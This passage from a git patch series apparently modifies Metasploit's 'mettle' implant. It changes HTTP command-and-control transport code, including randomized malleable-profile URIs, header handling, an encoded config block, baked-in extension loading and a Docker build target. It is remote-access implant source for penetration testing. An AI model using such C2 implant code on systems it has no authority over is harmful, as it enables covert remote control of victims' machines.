(EXTENSIONS=) so + * their commands are registered before the first C2 dispatch. */ + struct tlv_iterator ext_it = { + .packet = config, + .offset = 0, + .value_type = TLV_TYPE_EXTENSION, + }; + size_t ext_group_len = 0; + void *ext_group_data; + while ((ext_group_data = tlv_packet_iterate(&ext_it, &ext_group_len)) != NULL) { + struct tlv_packet *ext_group = tlv_packet_from_raw(TLV_TYPE_EXTENSION, ext_group_data, ext_group_len); + if (ext_group == NULL) { + continue; + } + size_t data_len = 0; + const unsigned char *ext_data = tlv_packet_get_raw(ext_group, TLV_TYPE_DATA, &data_len); + if (ext_data && data_len > 0) { + if (!extension_start_binary_image(m, "baked", ext_data, data_len, NULL)) { + log_error("Failed to hot-load baked extension"); + } + } + tlv_packet_free(ext_group); + } + tlv_packet_free(config); return 0; } From a1d6eb3eb89daf16dfb3fd09d16232c469bb949d Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 9 Jun 2026 08:50:59 +1000 Subject: [PATCH 09/16] Fix URI patching in non-MC2 --- mettle/src/c2_http.c | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index 3c65a699..703d179c 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -184,10 +184,6 @@ static char *render_uuid(struct c2_verb_config *vc, const char *uuid) static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *uuid) { - if (!vc || !vc->uri) { - return strdup(base_uri); - } - /* Extract scheme://host:port from base URI */ const char *proto_end = strstr(base_uri, "://"); if (!proto_end) return strdup(base_uri); @@ -195,6 +191,21 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *path_start = strchr(host_start, '/'); size_t base_len = path_start ? (size_t)(path_start - base_uri) : strlen(base_uri); + /* + * Non-MC2 mode: replace the URL path with /uuid/ so the framework + * can route requests to the session created by PATCH_UUID. Without + * this, the client keeps polling the original stageless init URL + * and the handler reissues a fresh redirect every time. + */ + if (!vc || !vc->uri) { + if (!uuid || !*uuid) return strdup(base_uri); + size_t url_len = base_len + 1 + strlen(uuid) + 1; + char *url = malloc(url_len + 1); + if (!url) return NULL; + snprintf(url, url_len + 1, "%.*s/%s", (int)base_len, base_uri, uuid); + return url; + } + const char *profile_uri = vc->uri; int needs_slash = (profile_uri[0] != '/'); From 8834422428a32b11b76a7d679b59629deb0b25ed Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 9 Jun 2026 09:02:47 +1000 Subject: [PATCH 10/16] Remove B64 length calc repetition --- mettle/src/c2_http.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index 703d179c..f838de87 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -16,6 +16,11 @@ #include "tlv.h" #include "command_ids.h" +/* Encoded output is 4 chars per 3 input bytes (rounded up) + null. */ +#define B64_ENCODED_LEN(len) (((len + 2) / 3) * 4 + 1) +/* Decoded output is at most 3 bytes per 4 input chars + null. */ +#define B64_DECODED_LEN(len) (((len + 3) / 4) * 3 + 1) + struct http_ctx { struct c2_transport *t; char *uri; @@ -37,8 +42,7 @@ static void http_ctx_free(struct http_ctx *ctx); */ static char *b64url_encode(const void *src, size_t src_len, size_t *out_len) { - size_t b64_len = ((src_len + 2) / 3) * 4 + 1; - char *b64 = malloc(b64_len); + char *b64 = malloc(B64_ENCODED_LEN(src_len)); if (!b64) return NULL; int len = base64encode(b64, src, src_len); @@ -56,8 +60,7 @@ static char *b64url_encode(const void *src, size_t src_len, size_t *out_len) static void *c2_encode(const void *data, size_t len, int enc, size_t *out_len) { if (enc == C2_ENCODING_B64) { - size_t b64_len = ((len + 2) / 3) * 4 + 1; - char *out = malloc(b64_len); + char *out = malloc(B64_ENCODED_LEN(len)); if (!out) return NULL; int olen = base64encode(out, data, len); out[olen] = '\0'; @@ -78,8 +81,7 @@ static void *c2_decode(const void *data, size_t len, int enc, size_t *out_len) { if (enc == C2_ENCODING_B64 || enc == C2_ENCODING_B64URL) { /* base64decode handles both standard and URL-safe variants */ - size_t max_len = ((len + 3) / 4) * 3 + 1; - char *out = malloc(max_len); + char *out = malloc(B64_DECODED_LEN(len)); if (!out) return NULL; /* Need null-terminated string for base64decode */ char *tmp = malloc(len + 1); From 372b4385e150477f4d1a9789274b4ec1deb10929 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 9 Jun 2026 20:05:09 +1000 Subject: [PATCH 11/16] Add size to mettle config block --- lib/metasploit_payloads/mettle.rb | 10 ++++++++-- mettle/src/main.c | 20 ++++++++++++-------- 2 files changed, 20 insertions(+), 10 deletions(-) diff --git a/lib/metasploit_payloads/mettle.rb b/lib/metasploit_payloads/mettle.rb index e02c3ca8..3f98547d 100644 --- a/lib/metasploit_payloads/mettle.rb +++ b/lib/metasploit_payloads/mettle.rb @@ -86,11 +86,17 @@ def short_opt(opt) end end + # Layout in the binary: [length:4 BE][config_bytes][zero padding] within + # the CONFIG_BLOCK_MAX-byte slot. Carrying the length explicitly avoids + # a trailing-null ambiguity — the XOR-encoded config can legitimately + # end in 0x00, which would otherwise be eaten by a backward scan. def add_config_block(bin, config_bytes) - if config_bytes.length > CONFIG_BLOCK_MAX + usable = CONFIG_BLOCK_MAX - 4 + if config_bytes.length > usable raise Mettle::Error, 'mettle config block too large', caller end - padded = config_bytes + "\x00" * (CONFIG_BLOCK_MAX - config_bytes.length) + payload = [config_bytes.length].pack('N') + config_bytes + padded = payload + "\x00" * (CONFIG_BLOCK_MAX - payload.length) bin.sub(CONFIG_BLOCK_SIG + "\x00" * (CONFIG_BLOCK_MAX - CONFIG_BLOCK_SIG.length), padded) end diff --git a/mettle/src/main.c b/mettle/src/main.c index 6576bcd2..01f4ce4f 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -4,9 +4,11 @@ * @file main.c */ +#include #include #include #include +#include #include #include #include @@ -321,13 +323,15 @@ static int parse_config_block(struct mettle *m) return -1; } - /* Find the actual data length by scanning backward past null padding */ - size_t data_len = CONFIG_BLOCK_MAX; - for (size_t i = CONFIG_BLOCK_MAX - 1; i > 0; i--) { - if (config_block_data[i] != '\0') { - data_len = i + 1; - break; - } + /* + * Layout when patched: [length:4 BE][config_bytes][zero padding]. + * Carrying the length explicitly avoids a trailing-null ambiguity — + * the XOR-encoded config can legitimately end in 0x00. + */ + size_t data_len = ntohl(*(const uint32_t *)config_block_data); + if (data_len == 0 || data_len > CONFIG_BLOCK_MAX - 4) { + log_error("config block length %zu out of range", data_len); + return -1; } /* Feed the raw config bytes through the standard TLV packet reader */ @@ -335,7 +339,7 @@ static int parse_config_block(struct mettle *m) if (q == NULL) { return -1; } - buffer_queue_add(q, config_block_data, data_len); + buffer_queue_add(q, config_block_data + sizeof(const uint32_t), data_len); struct tlv_packet *config = tlv_packet_read_buffer_queue(NULL, q); buffer_queue_free(q); if (config == NULL) { From 1b53a92dc67b3bc744b728749db593139ba8a988 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 9 Jun 2026 20:20:38 +1000 Subject: [PATCH 12/16] Use unsigned char* instead of void* --- mettle/src/c2_http.c | 32 +++++++++++++++++--------------- 1 file changed, 17 insertions(+), 15 deletions(-) diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index f838de87..ea160b50 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -38,14 +38,16 @@ static int add_header(struct http_ctx *ctx, const char *header); static void http_ctx_free(struct http_ctx *ctx); /* - * Base64URL encode: uses -_ instead of +/, no padding + * Base64URL encode: uses -_ instead of +/, no padding. Output is + * ASCII text but returned as an unsigned-byte buffer for uniformity + * with the other encode/decode helpers; the buffer is null-terminated. */ -static char *b64url_encode(const void *src, size_t src_len, size_t *out_len) +static unsigned char *b64url_encode(const void *src, size_t src_len, size_t *out_len) { - char *b64 = malloc(B64_ENCODED_LEN(src_len)); + unsigned char *b64 = malloc(B64_ENCODED_LEN(src_len)); if (!b64) return NULL; - int len = base64encode(b64, src, src_len); + int len = base64encode((char *)b64, src, src_len); /* Convert to URL-safe and strip padding */ for (int i = 0; i < len; i++) { if (b64[i] == '+') b64[i] = '-'; @@ -57,19 +59,19 @@ static char *b64url_encode(const void *src, size_t src_len, size_t *out_len) return b64; } -static void *c2_encode(const void *data, size_t len, int enc, size_t *out_len) +static unsigned char *c2_encode(const void *data, size_t len, int enc, size_t *out_len) { if (enc == C2_ENCODING_B64) { - char *out = malloc(B64_ENCODED_LEN(len)); + unsigned char *out = malloc(B64_ENCODED_LEN(len)); if (!out) return NULL; - int olen = base64encode(out, data, len); + int olen = base64encode((char *)out, data, len); out[olen] = '\0'; *out_len = olen; return out; } else if (enc == C2_ENCODING_B64URL) { return b64url_encode(data, len, out_len); } - void *out = malloc(len); + unsigned char *out = malloc(len); if (out) { memcpy(out, data, len); *out_len = len; @@ -77,11 +79,11 @@ static void *c2_encode(const void *data, size_t len, int enc, size_t *out_len) return out; } -static void *c2_decode(const void *data, size_t len, int enc, size_t *out_len) +static unsigned char *c2_decode(const void *data, size_t len, int enc, size_t *out_len) { if (enc == C2_ENCODING_B64 || enc == C2_ENCODING_B64URL) { /* base64decode handles both standard and URL-safe variants */ - char *out = malloc(B64_DECODED_LEN(len)); + unsigned char *out = malloc(B64_DECODED_LEN(len)); if (!out) return NULL; /* Need null-terminated string for base64decode */ char *tmp = malloc(len + 1); @@ -93,13 +95,13 @@ static void *c2_decode(const void *data, size_t len, int enc, size_t *out_len) else if (tmp[i] == '_') tmp[i] = '/'; } tmp[len] = '\0'; - int olen = base64decode(out, tmp, len); + int olen = base64decode((char *)out, tmp, len); free(tmp); if (olen < 0) { free(out); return NULL; } *out_len = olen; return out; } - void *out = malloc(len); + unsigned char *out = malloc(len); if (out) { memcpy(out, data, len); *out_len = len; @@ -159,7 +161,7 @@ static char *render_uuid(struct c2_verb_config *vc, const char *uuid) size_t uuid_len = strlen(uuid); size_t encoded_len = 0; - void *encoded = c2_encode(uuid, uuid_len, vc->enc_uuid, &encoded_len); + unsigned char *encoded = c2_encode(uuid, uuid_len, vc->enc_uuid, &encoded_len); if (!encoded) return NULL; size_t prefix_len = vc->uuid_prefix ? strlen(vc->uuid_prefix) : 0; @@ -325,7 +327,7 @@ static void *decode_response_with_profile(struct buffer_queue *response_q, size_t stripped_len = end - start; size_t decoded_len = 0; - void *decoded = c2_decode((char *)raw + start, stripped_len, vc->enc_inbound, &decoded_len); + unsigned char *decoded = c2_decode((char *)raw + start, stripped_len, vc->enc_inbound, &decoded_len); free(raw); if (!decoded || decoded_len == 0) { free(decoded); @@ -367,7 +369,7 @@ static void *encode_egress_with_profile(void *data, size_t data_len, } size_t encoded_len = 0; - void *encoded = c2_encode(data, data_len, vc->enc_outbound, &encoded_len); + unsigned char *encoded = c2_encode(data, data_len, vc->enc_outbound, &encoded_len); free(data); if (!encoded) return NULL; From f898d49b22cc7a8cec1cbc7a9c77cb8bf815fe39 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 9 Jun 2026 21:14:45 +1000 Subject: [PATCH 13/16] Fix issues with b64 encoding and header management --- mettle/src/base64.c | 2 +- mettle/src/c2_http.c | 35 +++++++++++++++++++++++++++++++++++ 2 files changed, 36 insertions(+), 1 deletion(-) diff --git a/mettle/src/base64.c b/mettle/src/base64.c index a8bc89ab..26bc2b25 100644 --- a/mettle/src/base64.c +++ b/mettle/src/base64.c @@ -87,7 +87,7 @@ int base64encode(char *dest, const char *src, int l) bits = 0; for (rpos = 0; rpos < l; rpos++) { - c = src[rpos]; + c = (unsigned char)src[rpos]; bits += c; char_count++; diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index ea160b50..d64118b1 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -26,6 +26,13 @@ struct http_ctx { char *uri; struct ev_timer poll_timer; char ** headers; + /* + * Number of headers present once http_transport_init finishes — i.e. + * the persistent set (Connection: close, profile custom headers, + * --header args). Anything beyond this index is profile-driven + * per-request state (UUID-in-Host etc.) and gets reset every poll. + */ + int base_num_headers; struct http_request_data data; struct http_request_opts opts; struct buffer_queue *egress; @@ -35,6 +42,7 @@ struct http_ctx { }; static int add_header(struct http_ctx *ctx, const char *header); +static void reset_profile_headers(struct http_ctx *ctx); static void http_ctx_free(struct http_ctx *ctx); /* @@ -459,6 +467,14 @@ static void http_poll_cb(struct http_conn *conn, void *arg) static void add_profile_headers(struct http_ctx *ctx, struct c2_verb_config *vc) { + /* + * Drop any profile headers carried over from the previous poll so we + * don't accumulate a fresh Host/UUID line every cycle. Always reset, + * even when vc is NULL, so switching profiles or losing one doesn't + * leak the prior values either. + */ + reset_profile_headers(ctx); + if (!vc) return; char *uuid = get_transport_uuid(ctx); @@ -557,6 +573,11 @@ static int add_header(struct http_ctx *ctx, const char *header) ctx->headers = reallocarray(ctx->headers, ctx->data.num_headers + 1, sizeof(char *)); if (ctx->headers) { + /* + * reallocarray may move the buffer; resync the pointer curl + * reads from so it never derefs a freed array. + */ + ctx->data.headers = ctx->headers; if ((ctx->headers[ctx->data.num_headers] = strdup(header))) { ctx->data.num_headers++; return 0; @@ -565,6 +586,19 @@ static int add_header(struct http_ctx *ctx, const char *header) return -1; } +/* + * Drop headers added since http_transport_init finished — i.e. any + * per-request profile state (UUID-in-Host etc.). The persistent set + * captured by base_num_headers is left intact. + */ +static void reset_profile_headers(struct http_ctx *ctx) +{ + for (int i = ctx->base_num_headers; i < ctx->data.num_headers; i++) { + free(ctx->headers[i]); + } + ctx->data.num_headers = ctx->base_num_headers; +} + /* * Parse a proxy URL of the form "scheme://host:port" or "socks=host:port" * (the latter being the framework's SOCKS encoding) and populate the @@ -690,6 +724,7 @@ int http_transport_init(struct c2_transport *t) } ctx->data.headers = ctx->headers; + ctx->base_num_headers = ctx->data.num_headers; ctx->first_packet = 1; ctx->online = false; ev_init(&ctx->poll_timer, http_poll_timer_cb); From 9c9acf8e8907d0d26f88f868984e3d2874baf7f8 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 12 Jun 2026 11:51:22 +1000 Subject: [PATCH 14/16] Fall back to fd transport when config block has no C2 groups MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Staged payloads embed the standard session TLVs (UUID, session GUID, expiry) in the config block but never include a C2 group — they inherit the stager's already-connected socket via argv "m ". Previously, parse_config_block returned 0 as long as the TLV blob parsed, so the "argv[0] == 'm'" fallback in main() never ran and mettle sat in its event loop with no transport registered. Track how many transports get added from C2 groups while iterating, and if none were added, free the parsed packet and return -1. The fd-based branch then wires up "fd://" as expected. UUID and session GUID extracted earlier in the function are left on the dispatcher; the fallback path's parse_default_args sets them again from the embedded DEFAULT_OPTS cmdline, so staged sessions get the right identity. --- mettle/src/main.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/mettle/src/main.c b/mettle/src/main.c index 01f4ce4f..8d6b895c 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -386,6 +386,7 @@ static int parse_config_block(struct mettle *m) }; size_t group_len = 0; void *group_data; + int transports_added = 0; while ((group_data = tlv_packet_iterate(&i, &group_len)) != NULL) { struct tlv_packet *group = tlv_packet_from_raw(TLV_TYPE_C2, group_data, group_len); if (group == NULL) { @@ -437,9 +438,20 @@ static int parse_config_block(struct mettle *m) tc->c2_post = parse_c2_verb_group(group, TLV_TYPE_C2_POST); c2_add_transport_uri_config(c2, url, tc); + transports_added++; tlv_packet_free(group); } + /* + * Staged payloads ship a config block with session TLVs but no C2 + * groups — they inherit the stager's socket via argv "m ". Tell + * the caller "no transports here" so the fd-fallback branch runs. + */ + if (transports_added == 0) { + tlv_packet_free(config); + return -1; + } + /* Hot-load extensions baked into the config block (EXTENSIONS=) so * their commands are registered before the first C2 dispatch. */ struct tlv_iterator ext_it = { From a8d912864d0a5a969a18890b28c5a209a970db60 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 16 Jun 2026 22:52:54 +1000 Subject: [PATCH 15/16] Handle multiple C2 URIs in mettle + add docker build target A profile's `set uri` may list several space-separated candidate URIs (Cobalt Strike picks one at random per request), emitted as repeated TLV_TYPE_C2_URI values. c2_verb_config now holds a char **uris / uri_count instead of a single uri; parse_c2_verb_group iterates every TLV_TYPE_C2_URI via tlv_packet_iterate_str; build_profile_url picks one at random per request (rand() % uri_count); and c2_verb_config_free frees the array. This avoids emitting the raw "uri-a uri-b" string as a single request path. GET and POST both route through build_profile_url. Also add a `docker` Makefile target that builds mettle inside the rapid7/build:mettle container (no local toolchain/autotools required), overridable via DOCKER_TARGET= and defaulting to x86_64-linux-musl. Only the mettle checkout is mounted and build artifacts are chowned back to the invoking user. --- Makefile | 11 +++++++++++ mettle/src/c2.c | 5 ++++- mettle/src/c2.h | 3 ++- mettle/src/c2_http.c | 5 +++-- mettle/src/main.c | 21 +++++++++++++++++++-- 5 files changed, 39 insertions(+), 6 deletions(-) diff --git a/Makefile b/Makefile index 5b012d55..b7dd4f9b 100644 --- a/Makefile +++ b/Makefile @@ -5,6 +5,17 @@ include make/Makefile.tools include make/Makefile.common include make/Makefile.mettle +DOCKER_CONTAINER=rapid7/build:mettle +DOCKER_TARGET ?= x86_64-linux-musl + +# Build mettle inside the official build container (no local toolchain or +# autotools required). Override the arch with DOCKER_TARGET=. Only the +# mettle checkout is mounted; build artifacts are chowned back to the invoking +# user. Output lands in build/$(DOCKER_TARGET)/bin/{mettle,mettle.bin}. +docker: + docker run --rm -v "$(CURDIR)":/mettle -w /mettle $(DOCKER_CONTAINER) \ + bash -c "make TARGET=$(DOCKER_TARGET); rc=$$?; chown -R $(shell id -u):$(shell id -g) /mettle; exit $$rc" + distclean: @rm -fr $(BUILD) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index 8690a903..518ec49d 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -163,7 +163,10 @@ int c2_add_transport_uri(struct c2 *c2, const char *uri) void c2_verb_config_free(struct c2_verb_config *vc) { if (vc) { - free(vc->uri); + for (int j = 0; j < vc->uri_count; j++) { + free(vc->uris[j]); + } + free(vc->uris); free(vc->prefix); free(vc->suffix); free(vc->uuid_prefix); diff --git a/mettle/src/c2.h b/mettle/src/c2.h index 05eac6f6..203292f6 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -13,7 +13,8 @@ * C2 Profile configuration for GET/POST verbs */ struct c2_verb_config { - char *uri; + char **uris; /* candidate request URIs; one chosen at random per request */ + int uri_count; int enc_inbound; int enc_outbound; int enc_uuid; diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index d64118b1..7a019697 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -209,7 +209,7 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, * this, the client keeps polling the original stageless init URL * and the handler reissues a fresh redirect every time. */ - if (!vc || !vc->uri) { + if (!vc || vc->uri_count == 0) { if (!uuid || !*uuid) return strdup(base_uri); size_t url_len = base_len + 1 + strlen(uuid) + 1; char *url = malloc(url_len + 1); @@ -218,7 +218,8 @@ static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, return url; } - const char *profile_uri = vc->uri; + /* Pick one of the profile's candidate URIs at random per request. */ + const char *profile_uri = vc->uris[rand() % vc->uri_count]; int needs_slash = (profile_uri[0] != '/'); char *rendered = render_uuid(vc, uuid); diff --git a/mettle/src/main.c b/mettle/src/main.c index 8d6b895c..1e66a427 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -273,8 +273,25 @@ static struct c2_verb_config *parse_c2_verb_group(struct tlv_packet *parent, uin } const char *s; - s = tlv_packet_get_str(vp, TLV_TYPE_C2_URI); - if (s) vc->uri = strdup(s); + /* + * A profile's `set uri` may list several candidate URIs, emitted as + * repeated TLV_TYPE_C2_URI values. Collect them all; the request builder + * picks one at random per request (Cobalt Strike semantics). + */ + struct tlv_iterator uri_it = { + .packet = vp, + .offset = 0, + .value_type = TLV_TYPE_C2_URI, + }; + char *uri_s; + while ((uri_s = tlv_packet_iterate_str(&uri_it)) != NULL) { + char **tmp = realloc(vc->uris, sizeof(char *) * (vc->uri_count + 1)); + if (tmp == NULL) break; + vc->uris = tmp; + vc->uris[vc->uri_count] = strdup(uri_s); + if (vc->uris[vc->uri_count] == NULL) break; + vc->uri_count++; + } tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_INBOUND, (uint32_t *)&vc->enc_inbound); tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_OUTBOUND, (uint32_t *)&vc->enc_outbound); From 45de100fcb123415429170a10f54ba5d7c9e4537 Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Fri, 3 Jul 2026 11:16:12 +0200 Subject: [PATCH 16/16] Update mettle/src/c2_http.c Co-authored-by: msutovsky-r7 --- mettle/src/c2_http.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index 7a019697..ece64a71 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -329,7 +329,7 @@ static void *decode_response_with_profile(struct buffer_queue *response_q, int start = vc->prefix_skip; int end = raw_len - vc->suffix_skip; - if (start >= end || start < 0 || end > (int)raw_len) { + if (start > end || start < 0 || end > (int)raw_len) { start = 0; end = raw_len; }